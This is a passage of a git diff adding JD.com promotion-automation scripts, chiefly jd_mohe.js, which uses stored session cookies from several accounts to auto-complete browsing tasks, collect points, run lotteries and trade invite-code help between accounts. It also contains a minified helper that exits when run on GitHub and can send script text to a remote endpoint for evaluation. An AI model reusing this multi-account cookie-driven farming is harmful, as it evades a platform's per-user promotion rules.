if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_mohe.js b/backUp/jd_mohe.js new file mode 100644 index 0000000000..721495adca --- /dev/null +++ b/backUp/jd_mohe.js @@ -0,0 +1,586 @@ +/* +5G超级盲盒,可抽奖获得京豆,建议在凌晨0点时运行脚本,白天抽奖基本没有京豆,4小时运行一次收集热力值 +活动地址: https://isp5g.m.jd.com +活动时间:2021-06-2到2021-07-31 +更新时间:2021-06-3 12:00 +脚本兼容: QuantumultX, Surge,Loon, JSBox, Node.js +=================================Quantumultx========================= +[task_local] +#5G超级盲盒 +0 0,1-23/3 * * * jd_mohe.js, tag=5G超级盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=================================Loon=================================== +[Script] +cron "0 0,1-23/3 * * *" script-path=jd_mohe.js,tag=5G超级盲盒 + +===================================Surge================================ +5G超级盲盒 = type=cron,cronexp="0 0,1-23/3 * * *",wake-system=1,timeout=3600,script-path=jd_mohe.js + +====================================小火箭============================= +5G超级盲盒 = type=cron,script-path=jd_mohe.js, cronexpr="0 0,1-23/3 * * *", timeout=3600, enable=true + */ +const $ = new Env('5G超级盲盒'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message, allMessage = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = 'https://isp5g.m.jd.com'; +//邀请码一天一变化,已确定 +$.shareId = []; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + console.log('5G超级盲盒,可抽奖获得京豆,建议在凌晨0点时运行脚本,白天抽奖基本没有京豆,4小时运行一次收集热力值\n' + + '活动地址: https://isp5g.m.jd.com\n' + + '活动时间:2021-06-2到2021-07-31\n' + + '更新时间:2021-06-3 12:00'); + await updateShareCodesCDN('https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/utils/empty.json') + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareUrl(); + await getCoin();//领取每三小时自动生产的热力值 + await Promise.all([ + task0(), + task1(), + ]) + await taskList(); + await getAward();//抽奖 + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify($.name, allMessage); + $.msg($.name, '', allMessage, {"open-url": "https://isp5g.m.jd.com"}) + } + $.shareId = [...($.shareId || []), ...($.updatePkActivityIdRes || [])]; + for (let v = 0; v < cookiesArr.length; v++) { + cookie = cookiesArr[v]; + $.index = v + 1; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`\n\n自己账号内部互助`); + for (let item of $.shareId) { + console.log(`账号 ${$.index} ${$.UserName} 开始给 ${item}进行助力`) + const res = await addShare(item); + if (res && res['code'] === 2005) { + console.log(`次数已用完,跳出助力`) + break + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function task0() { + const confRes = await conf(); + if (confRes.code === 200) { + const { brandList, skuList } = confRes.data; + if (skuList && skuList.length > 0) { + for (let item of skuList) { + if (item.state === 0) { + let homeGoBrowseRes = await homeGoBrowse(0, item.id); + console.log('商品', homeGoBrowseRes); + await $.wait(1000); + const taskHomeCoin0Res = await taskHomeCoin(0, item.id); + console.log('商品领取金币', taskHomeCoin0Res); + // if (homeGoBrowseRes.code === 200) { + // await $.wait(1000); + // await taskHomeCoin(0, item.id); + // } + } else { + console.log('精选好物任务已完成') + } + } + } + } +} +async function task1() { + const confRes = await conf(); + if (confRes.code === 200) { + const { brandList, skuList } = confRes.data; + if (brandList && brandList.length > 0) { + for (let item of brandList) { + if (item.state === 0) { + let homeGoBrowseRes = await homeGoBrowse(1, item.id); + // console.log('店铺', homeGoBrowseRes); + await $.wait(1000); + const taskHomeCoin1Res = await taskHomeCoin(1, item.id); + console.log('店铺领取金币', taskHomeCoin1Res); + // if (homeGoBrowseRes.code === 200) { + // await $.wait(1000); + // await taskHomeCoin(1, item.id); + // } + } else { + console.log('精选店铺-任务已完成') + } + } + } + } +} +function addShare(shareId) { + return new Promise((resolve) => { + const url = `addShare?shareId=${shareId}&t=${Date.now()}`; + $.get(taskurl(url), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`助力结果${data}`) + data = JSON.parse(data); + if (data['code'] === 200) { + // console.log(`\n【京东账号${$.index}(${$.nickName || $.UserName})助力好友 【${data['data']}】 成功\n`); + console.log(`\n助力好友 【${data['data']}】 成功\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function conf() { + return new Promise((resolve) => { + const url = `conf`; + $.get(taskurl(url), (err, resp, data) => { + try { + // console.log('ddd----ddd', data) + data = JSON.parse(data); + // console.log('ddd----ddd', data) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function homeGoBrowse(type, id) { + return new Promise((resolve) => { + const url = `homeGoBrowse?type=${type}&id=${id}`; + $.get(taskurl(url), (err, resp, data) => { + try { + // console.log('homeGoBrowse', data) + data = JSON.parse(data); + // console.log('homeGoBrowse', data) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function taskHomeCoin(type, id) { + return new Promise((resolve) => { + const url = `taskHomeCoin?type=${type}&id=${id}`; + $.get(taskurl(url), (err, resp, data) => { + try { + // console.log('homeGoBrowse', data) + data = JSON.parse(data); + // console.log('homeGoBrowse', data) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function getCoin() { + return new Promise((resolve) => { + const url = `getCoin?t=${Date.now()}`; + $.get(taskurl(url), (err, resp, data) => { + try { + // console.log('homeGoBrowse', data) + data = JSON.parse(data); + // console.log('homeGoBrowse', data) + if (data.code === 1001) { + console.log(data.msg); + $.msg($.name, '领取失败', `${data.msg}`); + $.done(); + } else { + console.log(`成功领取${data.data}热力值`) + resolve(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function taskList() { + return new Promise((resolve) => { + const url = `taskList?t=${Date.now()}`; + $.get(taskurl(url), async (err, resp, data) => { + try { + // console.log('homeGoBrowse', data) + data = JSON.parse(data); + // console.log(`成功领取${data.data}热力值`) + if (data.code === 200) { + const { task4, task6, task5, task2, task1 } = data.data; + if (task4.finishNum < task4.totalNum) { + await browseProduct(task4.skuId); + await taskCoin(task4.type); + } + //浏览会场 + if (task1.finishNum < task1.totalNum) { + await strollActive((task1.finishNum + 1)); + await taskCoin(task1.type); + } + if (task2.finishNum < task2.totalNum) { + await strollShop(task2.shopId); + await taskCoin(task2.type); + } + // if (task5.finishNum < task5.totalNum) { + // console.log(`\n\n分享好友助力 ${task5.finishNum}/${task5.totalNum}\n\n`) + // } else { + // console.log(`\n\n分享好友助力 ${task5.finishNum}/${task5.totalNum}\n\n`) + // } + if (task4.state === 2 && task1.state === 2 && task2.state === 2) { + console.log('\n\n----taskList的任务全部做完了---\n\n') + console.log(`分享好友助力 ${task5.finishNum}/${task5.totalNum}\n\n`) + } else { + console.log(`请继续等待,正在做任务,不要退出哦`) + await taskList(); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//浏览商品(16个) +function browseProduct(skuId) { + return new Promise((resolve) => { + const url = `browseProduct?0=${skuId}&t=${Date.now()}`; + $.get(taskurl(url), (err, resp, data) => { + try { + // console.log('homeGoBrowse', data) + data = JSON.parse(data); + // console.log('homeGoBrowse', data) + // console.log(`成功领取${data.data}热力值`) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +// 浏览会场(10个) +function strollActive(index) { + return new Promise((resolve) => { + const url = `strollActive?0=${index}&t=${Date.now()}`; + $.get(taskurl(url), (err, resp, data) => { + try { + // console.log('homeGoBrowse', data) + data = JSON.parse(data); + // console.log('homeGoBrowse', data) + // console.log(`成功领取${data.data}热力值`) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//关注或浏览店铺(9个) +function strollShop(shopId) { + return new Promise((resolve) => { + const url = `strollShop?shopId=${shopId}&t=${Date.now()}`; + $.get(taskurl(url), (err, resp, data) => { + try { + // console.log('homeGoBrowse', data) + data = JSON.parse(data); + // console.log('homeGoBrowse', data) + // console.log(`成功领取${data.data}热力值`) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +// 加入会员(7) +function strollMember(venderId) { + return new Promise((resolve) => { + const url = `strollMember?venderId=${venderId}&t=${Date.now()}`; + $.get(taskurl(url), (err, resp, data) => { + try { + // console.log('homeGoBrowse', data) + data = JSON.parse(data); + // console.log('homeGoBrowse', data) + // console.log(`成功领取${data.data}热力值`) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function taskCoin(type) { + return new Promise((resolve) => { + const url = `taskCoin?type=${type}&t=${Date.now()}`; + $.get(taskurl(url), (err, resp, data) => { + try { + // console.log('homeGoBrowse', data) + data = JSON.parse(data); + // console.log('homeGoBrowse', data) + // console.log(`成功领取${data.data}热力值`) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +async function getAward() { + const coinRes = await coin(); + if (coinRes.code === 200) { + const { total, need } = coinRes.data; + if (total > need) { + const times = Math.floor(total / need); + for (let i = 0; i < times; i++) { + await $.wait(2000); + let lotteryRes = await lottery(); + if (lotteryRes.code === 200) { + console.log(`====抽奖结果====,${JSON.stringify(lotteryRes.data)}`); + console.log(lotteryRes.data.name); + console.log(lotteryRes.data.beanNum); + if (lotteryRes.data['prizeId'] && (lotteryRes.data['type'] !== '99' && lotteryRes.data['type'] !== '3' && lotteryRes.data['type'] !== '8' && lotteryRes.data['type'] !== '9')) { + message += `抽奖获得:${lotteryRes.data.name}\n`; + } + } else if (lotteryRes.code === 4001) { + console.log(`抽奖失败,${lotteryRes.msg}`); + break; + } + } + if (message) allMessage += `京东账号${$.index} ${$.nickName}\n${message}抽奖详情查看 https://isp5g.m.jd.com/#/myPrize${$.index !== cookiesArr.length ? '\n\n' : ''}` + } else { + console.log(`目前热力值${total},不够抽奖`) + } + } +} +//获取有多少热力值 +function coin() { + return new Promise((resolve) => { + const url = `coin?t=${Date.now()}`; + $.get(taskurl(url), (err, resp, data) => { + try { + // console.log('homeGoBrowse', data) + data = JSON.parse(data); + // console.log('homeGoBrowse', data) + // console.log(`成功领取${data.data}热力值`) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//抽奖API +function lottery() { + return new Promise((resolve) => { + const options = { + 'url': `${JD_API_HOST}/prize/lottery?t=${Date.now()}`, + 'headers': { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", + "content-type": "application/x-www-form-urlencoded", + "cookie": cookie, + "referer": "https://isp5g.m.jd.com", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + // console.log('homeGoBrowse', data) + data = JSON.parse(data); + // console.log('homeGoBrowse', data) + // console.log(`成功领取${data.data}热力值`) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function shareUrl() { + return new Promise((resolve) => { + const options = { + 'url': `${JD_API_HOST}/active/shareUrl?t=${Date.now()}`, + 'headers': { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", + "content-type": "application/x-www-form-urlencoded", + "cookie": cookie, + "referer": "https://isp5g.m.jd.com", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, async (err, resp, data) => { + try { + console.log('好友邀请码', data) + data = JSON.parse(data); + if (data['code'] === 5000) { + console.log(`尝试多次运行脚本即可获取好友邀请码`) + } + // console.log('homeGoBrowse', data) + if (data['code'] === 200) { + if (data['data']) $.shareId.push(data['data']); + console.log(`\n【京东账号${$.index}(${$.nickName || $.UserName})的${$.name}好友互助码】${data['data']}\n`); + console.log(`此邀请码一天一变化,旧的不可用`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function taskurl(url) { + return { + 'url': `${JD_API_HOST}/active/${url}`, + 'headers': { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", + "content-type": "application/x-www-form-urlencoded", + "cookie": cookie, + "referer": "https://isp5g.m.jd.com", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} +function updateShareCodesCDN(url) { + return new Promise(resolve => { + $.get({ + url , + timeout: 10000, + headers:{"User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")}}, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.updatePkActivityIdRes = JSON.parse(data); + if ($.updatePkActivityIdRes && $.updatePkActivityIdRes.length) { + // $.shareId = $.updatePkActivityIdRes || []; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/backUp/jd_price.js b/backUp/jd_price.js new file mode 100644 index 0000000000..67eabf162d --- /dev/null +++ b/backUp/jd_price.js @@ -0,0 +1,556 @@ +/* +京东保价 +京东 api 只能查询60天的订单 +保价期限是以物流签收时间为准的,30天是最长保价期。 +所以订单下单时间以及发货、收货时间,也可能占用很多天,60天内的订单进行保价是正常的。 +没进行过保价的60天内的订单。查询一次,不符合保价的,不会再次申请保价。 +支持云端cookie使用 +修改自:https://raw.githubusercontent.com/ZCY01/daily_scripts/main/jd/jd_priceProtect.js +修改自:https://raw.githubusercontent.com/id77/QuantumultX/master/task/jdGuaranteedPrice.js + +京东保价页面脚本:https://static.360buyimg.com/siteppStatic/script/priceskus-phone.js +iOS同时支持使用 NobyDa 与 domplin 脚本的京东 cookie +活动时间:2021-2-14至2021-3-3 +活动地址:https://prodev.m.jd.com/jdlite/active/31U4T6S4PbcK83HyLPioeCWrD63j/index.html +活动入口:京东保价 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东保价 +0 2 * * * jd_price.js, tag=京东保价, img-url=https://raw.githubusercontent.com/Orz-3/task/master/jd.png, enabled=true + +================Loon============== +[Script] +cron "0 2 * * *" script-path=jd_price.js,tag=京东保价 + +===============Surge================= +京东保价 = type=cron,cronexp="0 2 * * *",wake-system=1,timeout=3600,script-path=jd_price.js + +============小火箭========= +京东保价 = type=cron,script-path=jd_price.js, cronexpr="0 2 * * *", timeout=3600, enable=true + */ + +const $ = new 